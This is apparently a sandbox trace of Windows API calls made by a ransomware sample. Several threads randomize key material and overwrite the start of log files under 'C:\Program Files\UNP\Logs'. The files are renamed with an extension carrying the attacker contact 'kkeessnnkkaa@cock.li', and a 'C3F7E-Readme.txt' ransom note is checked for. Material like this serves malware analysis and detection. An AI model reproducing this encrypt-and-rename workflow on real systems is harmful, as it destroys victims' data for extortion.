	[0083.236] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.236] NtQuerySystemTime (in: CurrentTime=0x17abfd3c | out: CurrentTime=0x17abfd3c*=132251868099682318) returned 0x0
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x17212dd5
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x6365a085
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x7c8ca9cf
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xbd521add
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x660f24bf
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xae246f02
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x18e96c39
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x4bab0355
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xbc7698e7
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x104c3648
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xc31d7fdc
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xe0ccdbd1
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x9a7a4da0
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x1768aceb
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x8baf9547
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x638228ca
	[0083.236] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xe9761dbd
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xd06b0678
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x49352ec7
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x4f438808
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x449ca445
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xa351abc
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xb20724d
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x65d9ae87
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xd241de18
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xcab58108
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x3112507f
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xbfd0cfc3
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xd3cc305c
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0x868ab6c9
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xad6c5c54
	[0083.237] RtlRandom (in: Seed=0x17abfd48 | out: Seed=0x17abfd48) returned 0xaf4876cd
	[0083.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.245] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.245] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.246] SetFilePointerEx (in: hFile=0x16dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.246] ReadFile (in: hFile=0x16dc, lpBuffer=0x4877040, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17abfd1c, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x17abfd1c*=0xc800, lpOverlapped=0x0) returned 1
	[0083.250] SetFilePointerEx (in: hFile=0x16dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0083.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.252] WriteFile (in: hFile=0x16dc, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17abfd1c, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x17abfd1c*=0xc800, lpOverlapped=0x0) returned 1
	[0083.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0083.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0083.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0083.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0083.254] SetFilePointerEx (in: hFile=0x16dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.254] WriteFile (in: hFile=0x16dc, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17abfd9c, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17abfd9c*=0x13b, lpOverlapped=0x0) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0083.262] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl"
	[0083.262] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.262] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17abfd54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0083.262] NtSetInformationFile (FileHandle=0x16dc, IoStatusBlock=0x17abfd4c, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0083.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.265] NtQueryInformationFile (in: FileHandle=0x16dc, IoStatusBlock=0x17abfd60, FileInformation=0x17abfd38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17abfd60, FileInformation=0x17abfd38) returned 0x0
	[0083.265] NtSetInformationFile (FileHandle=0x16dc, IoStatusBlock=0x17abfd60, FileInformation=0x17abfd38, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.266] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0083.266] FlushFileBuffers (hFile=0x16dc) returned 1
	[0083.272] CloseHandle (hObject=0x16dc) returned 1
	[0083.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf608
	[0083.276] wcscpy (in: _Dest=0x2daf608, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.276] wcscat (in: _Dest=0x2daf608, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.276] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.276] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e350c0) returned 1

Thread:
	id = 625
	os_tid = 0x18f0

	[0077.517] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.005.etl")) returned 0x2020
	[0082.647] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl", dwFileAttributes=0x20) returned 1
	[0083.203] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.005.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16b4
	[0083.213] GetFileSizeEx (in: hFile=0x16b4, lpFileSize=0x17b3fa04 | out: lpFileSize=0x17b3fa04*=131072) returned 1
	[0083.213] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.213] ReadFile (in: hFile=0x16b4, lpBuffer=0x17b3f988, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17b3f984, lpOverlapped=0x0 | out: lpBuffer=0x17b3f988*, lpNumberOfBytesRead=0x17b3f984*=0x4, lpOverlapped=0x0) returned 1
	[0083.219] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.219] NtQuerySystemTime (in: CurrentTime=0x17b3f964 | out: CurrentTime=0x17b3f964*=132251868099526101) returned 0x0
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x81627288
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x8ff585f6
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x16b82704
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x8942062e
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x42ed9211
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0xe0cfbb52
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x8955e24d
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x7e76cec3
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x15eee032
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x7d6dec44
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x18184344
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x6b8d2a0b
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x86e523db
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x5b030360
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x2a29de7e
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x3c5f75dd
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x4f32f4f5
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x57f7c039
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x1e7bec2b
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x7fc8d41f
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0xd9247525
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0xbeb9390f
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x39d30e5d
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x5f619630
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x5780e923
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x888d869c
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x5dfd20af
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0xa1f30706
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x477c0c2a
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0xd796f7fb
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x9afc6429
	[0083.219] RtlRandom (in: Seed=0x17b3f970 | out: Seed=0x17b3f970) returned 0x8b6d2817
	[0083.228] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.228] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.228] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.228] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.228] ReadFile (in: hFile=0x16b4, lpBuffer=0x4877040, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17b3f944, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x17b3f944*=0xc800, lpOverlapped=0x0) returned 1
	[0083.230] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac88
	[0083.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0083.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0083.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac88) returned 1
	[0083.231] WriteFile (in: hFile=0x16b4, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17b3f944, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x17b3f944*=0xc800, lpOverlapped=0x0) returned 1
	[0083.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf608
	[0083.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2daf6c8
	[0083.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0083.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13b) returned 0x4731668
	[0083.234] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.235] WriteFile (in: hFile=0x16b4, lpBuffer=0x4731668*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x17b3f9c4, lpOverlapped=0x0 | out: lpBuffer=0x4731668*, lpNumberOfBytesWritten=0x17b3f9c4*=0x13b, lpOverlapped=0x0) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719460
	[0083.247] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl"
	[0083.247] wcscat (in: _Dest=0x4719460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.247] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x17b3f97c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47674f0
	[0083.247] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17b3f974, FileInformation=0x47674f0, Length=0xdc, FileInformationClass=0xa) returned 0x0
	[0083.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1
	[0083.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c7b8) returned 1
	[0083.248] NtQueryInformationFile (in: FileHandle=0x16b4, IoStatusBlock=0x17b3f988, FileInformation=0x17b3f960, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x17b3f988, FileInformation=0x17b3f960) returned 0x0
	[0083.248] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0x17b3f988, FileInformation=0x17b3f960, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0083.249] FlushFileBuffers (hFile=0x16b4) returned 1
	[0083.253] CloseHandle (hObject=0x16b4) returned 1
	[0083.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daf728
	[0083.260] wcscpy (in: _Dest=0x2daf728, _Source="C:\\Program Files\\UNP\\Logs\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0083.260] wcscat (in: _Dest=0x2daf728, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt") returned="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt"
	[0083.260] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\program files\\unp\\logs\\c3f7e-readme.txt")) returned 0x20
	[0083.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0083.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35478) returned 1

Thread:
	id = 626
	os_tid = 0x18f4

	[0077.518] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.006.etl")) returned 0x2020
	[0082.654] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl", dwFileAttributes=0x20) returned 1
	[0082.918] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.006.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a0
	[0082.918] GetFileSizeEx (in: hFile=0x16a0, lpFileSize=0x17bbf798 | out: lpFileSize=0x17bbf798*=131072) returned 1
	[0082.918] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x1fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.918] ReadFile (in: hFile=0x16a0, lpBuffer=0x17bbf71c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17bbf718, lpOverlapped=0x0 | out: lpBuffer=0x17bbf71c*, lpNumberOfBytesRead=0x17bbf718*=0x4, lpOverlapped=0x0) returned 1
	[0082.921] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0082.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.921] NtQuerySystemTime (in: CurrentTime=0x17bbf6f8 | out: CurrentTime=0x17bbf6f8*=132251868096556759) returned 0x0
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x26b5210e
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x199f235e
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0xdfad8b99
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x7bd4f1f2
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x45c1e85a
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x1984c742
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x6bb164f9
	[0082.921] RtlRandom (in: Seed=0x17bbf704 | out: Seed=0x17bbf704) returned 0x3587a474
